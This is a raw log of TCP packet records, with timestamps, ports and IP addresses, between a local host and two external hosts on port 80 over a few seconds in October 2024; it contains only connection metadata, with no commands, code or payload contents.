Oct 31, 2024 05:06:37.747879028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747884035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747889996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747900009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747924089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747937918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747941017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747952938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747956038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747967958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747988939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748007059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748009920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748022079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748030901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748061895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748106956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748121977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748136997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748167992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748182058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748198986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748212099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748219967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748241901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748245001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748250008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748256922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748259068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748275995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748284101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748300076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748337030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748352051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748366117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748377085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748383999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748399019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748405933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748414993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748442888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748457909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748467922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748472929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748476982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748488903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748505116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748531103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748538971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748543024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748558998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748572111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748586893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748609066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748610020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748620033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748626947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748641968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748655081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748672962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748677969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748692989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748694897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748708010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748723984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748730898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748739004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748763084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748764992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748788118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748800993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748814106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748831034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748831034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748836994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748851061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748872042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748872042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748872042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748888016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748903036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748917103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748924017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748931885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748936892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.748955011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748970032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748985052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.748994112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749001980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749005079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749017954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749032021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749047041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749051094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749072075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749072075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749087095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749104977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749116898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749123096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749124050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749126911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749154091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749170065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749171019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749185085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749193907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749200106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749214888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749222040 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749229908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749244928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749259949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749269962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749278069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749284983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749305964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749317884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749322891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749340057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749366999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749372959 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749382019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749397039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749398947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749412060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749433041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749434948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749450922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749464989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749483109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749485016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749501944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749511003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749517918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749531984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749541044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749556065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749571085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749586105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749593019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749599934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749609947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749617100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749633074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749639034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749649048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749680042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749687910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749696016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749710083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749716997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749763966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749778986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749788046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749794006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749815941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749840975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749855995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749881029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749897003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749902010 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749912024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749918938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749927998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749939919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.749943972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749958992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.749985933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750036955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750051975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750066042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750071049 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750108004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750159979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750174999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750194073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750200033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750205040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750210047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750226021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750227928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750248909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750263929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750266075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750278950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750288963 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750296116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750310898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750335932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750339031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750355959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750360012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750372887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750386953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750396967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750403881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750416994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750430107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750430107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750447035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750449896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750462055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750489950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750492096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750504971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750508070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750523090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750531912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750531912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750538111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750572920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750617027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750632048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750647068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750662088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750668049 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750677109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750700951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750727892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750744104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750757933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750761986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750794888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.750833988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750881910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750896931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.750935078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.778281927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.778915882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.792279005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.792299032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.792315006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.792361975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.818552017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.836724997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.836772919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.836788893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.836811066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.836841106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.867705107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.867722034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.867746115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.867760897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.867775917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.867784023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.867801905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.867835045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.867911100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.867954016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.868138075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.868176937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.868191004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.916083097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:38.478730917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:03.696223021 CET	49781	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:03.701194048 CET	80	49781	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:03.701353073 CET	49781	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:03.701535940 CET	49781	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:03.706285000 CET	80	49781	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:04.635196924 CET	80	49781	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:04.635257006 CET	49781	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:06.151278019 CET	49781	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:06.151637077 CET	49797	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:06.156495094 CET	80	49797	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:06.156578064 CET	49797	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:06.156641960 CET	80	49781	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:06.156691074 CET	49781	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:06.156805992 CET	49797	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:06.161591053 CET	80	49797	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:07.090655088 CET	80	49797	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:07.090717077 CET	49797	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:07.097907066 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:07.102765083 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:07.102849007 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:07.102971077 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:07.108150959 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.000747919 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.000762939 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.000775099 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.000848055 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.000881910 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.000893116 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.000904083 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.000905991 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.000924110 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.000936031 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.000936031 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.000950098 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.000962019 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.000963926 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.000965118 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.000989914 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.001014948 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.006392956 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.006405115 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.006417036 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.006505966 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.152908087 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.152926922 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.152936935 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.152988911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.153002024 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.153012037 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.153055906 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.153208017 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.153220892 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.153233051 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.153256893 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.153286934 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.153842926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.153856993 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.153867960 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.153879881 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.153891087 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.153911114 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.153944016 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.154673100 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.154685974 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.154696941 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.154709101 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.154721022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.154747963 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.154747963 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.154783010 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.155437946 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.155493975 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.162585020 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.162617922 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.162630081 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.162672997 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.162703037 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.162722111 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.162774086 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.316675901 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.316693068 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.316708088 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.316720009 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.316731930 CET	80	49803	185.215.113.16	192.168.2.4
